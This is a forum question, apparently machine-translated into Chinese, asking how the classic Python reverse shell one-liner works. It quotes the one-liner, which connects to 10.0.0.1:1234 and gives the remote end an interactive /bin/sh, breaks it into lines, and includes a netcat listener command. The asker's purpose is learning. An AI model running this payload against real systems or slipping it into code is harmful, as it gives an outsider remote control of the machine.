我对 python reverse shell one liner 有一些疑问。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
所以这是一个 python 反向 shell 一个衬里,只需通过谷歌搜索即可轻松找到。为了更好地理解这一点,让我们把它写成多行:
1# import socket,subprocess,os
2# s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3# s.connect(("10.0.0.1",1234))
4# os.dup2(s.fileno(),0)
5# os.dup2(s.fileno(),1)
6# os.dup2(s.fileno(),2)
7# p=subprocess.call(["/bin/sh","-i"])
大部分内容都很容易理解。在第一行,我们导入必要的模块。在第二行中,我们使用 ipv4 系列和 tcp 协议创建了一个套接字对象,第三行是我们连接到我们的服务器(攻击者机器)的地方,在第 4、5、6 行中,我们将套接字文件描述符复制为 0(stdin)、1(标准输出),2(标准错误)(我在这里可能是错的)。最后我们以交互模式启动 bin/sh shell。
这工作正常,我们只需要更改要连接的 IP 地址和端口,在另一端(服务器)我们需要监听传入连接,并且可以使用 netcat 轻松完成:
nc -nlvp 1234
我只是不明白在建立反向 shell 之后,这个客户端机器(我们在它上面运行 python reverse shell 的机器)如何发送从服务器接收到的命令的输出。我的意思是没有 send() 或 recv() 方法。
我尝试使用 python 自己编写服务器,但它无法正常工作,并且我无法接收命令的输出。(但这是一个我已经编码并且工作正常的python反向shell:https ://github.com/ramixix/Python_Reverse_Shell.git如果你检查它会很高兴)
谁能解释它是如何工作的,我怎样才能为它写一个服务器?